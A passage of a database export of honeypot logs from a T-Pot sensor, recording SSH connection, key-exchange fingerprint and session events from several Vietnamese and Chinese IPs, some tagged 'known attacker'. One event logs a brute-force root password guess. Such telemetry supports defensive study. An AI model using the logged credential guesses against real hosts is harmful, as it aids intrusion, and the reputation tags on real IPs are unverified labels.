"rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "21a203a507ae", "@version": "1", "timestamp": "2021-09-20T11:06:33.099740Z", "@timestamp": "2021-09-20T11:06:33.099Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
21220	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:33.09879+03	2021-09-20 14:15:03.380643+03	{"_id": "3QXiAnwBvYTbRNuE2v-K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1960302182169921, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 35148, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.098790Z", "@timestamp": "2021-09-20T11:06:33.098Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
21221	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:33.178336+03	2021-09-20 14:15:03.382614+03	{"_id": "3wXiAnwBvYTbRNuE2v-L", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 673368919022221, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 40388, "dest_port": 22, "timestamp": "2021-09-20T11:06:33.178336Z", "@timestamp": "2021-09-20T11:06:33.178Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21222	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:06:36.458009+03	2021-09-20 14:15:03.384654+03	{"_id": "eQbiAnwBvYTbRNuE5gBF", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1513539684285505, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 36926, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.458009Z", "@timestamp": "2021-09-20T11:06:36.458Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21223	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:36.575495+03	2021-09-20 14:15:03.385633+03	{"_id": "fwbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [root/formula1] failed", "session": "946e8296b348", "@version": "1", "password": "formula1", "username": "root", "timestamp": "2021-09-20T11:06:36.575495Z", "@timestamp": "2021-09-20T11:06:36.575Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21224	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:36.715502+03	2021-09-20 14:15:03.386642+03	{"_id": "gQbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:36.715502Z", "@timestamp": "2021-09-20T11:06:36.715Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21225	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:36.240678+03	2021-09-20 14:15:03.387643+03	{"_id": "hwbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36926, "timestamp": "2021-09-20T11:06:36.240678", "@timestamp": "2021-09-20T11:06:36.240Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21255	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:43.956128+03	2021-09-20 14:15:03.428612+03	{"_id": "-wbjAnwBvYTbRNuEAwEG", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "2512a17a07af", "@version": "1", "duration": 2.4733173847198486, "timestamp": "2021-09-20T11:06:43.956128Z", "@timestamp": "2021-09-20T11:06:43.956Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21226	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:36.752268+03	2021-09-20 14:15:03.389614+03	{"_id": "gwbiAnwBvYTbRNuE5wA4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "2811eb54717c", "@version": "1", "timestamp": "2021-09-20T11:06:36.752268Z", "@timestamp": "2021-09-20T11:06:36.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21227	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:06:36.450764+03	2021-09-20 14:15:03.391615+03	{"_id": "iQbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51936, "timestamp": "2021-09-20T11:06:36.450764", "@timestamp": "2021-09-20T11:06:36.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21228	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:06:36.752081+03	2021-09-20 14:15:03.392614+03	{"_id": "igbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51936, "dest_port": 22, "timestamp": "2021-09-20T11:06:36.752081", "@timestamp": "2021-09-20T11:06:36.752Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
21229	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:36.316781+03	2021-09-20 14:15:03.394612+03	{"_id": "iwbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a40db5db1cd5", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:36.316781Z", "@timestamp": "2021-09-20T11:06:36.316Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21244	27.69.246.93	109.199.241.180	Suricata	2021-09-20 14:06:43.470459+03	2021-09-20 14:15:03.413614+03	{"_id": "2AbjAnwBvYTbRNuEAQGm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "flow_id": 405524021699746, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51860, "dest_port": 22, "timestamp": "2021-09-20T11:06:43.470459Z", "@timestamp": "2021-09-20T11:06:43.470Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
21230	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:36.319156+03	2021-09-20 14:15:03.395612+03	{"_id": "jAbiAnwBvYTbRNuE5wA8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", 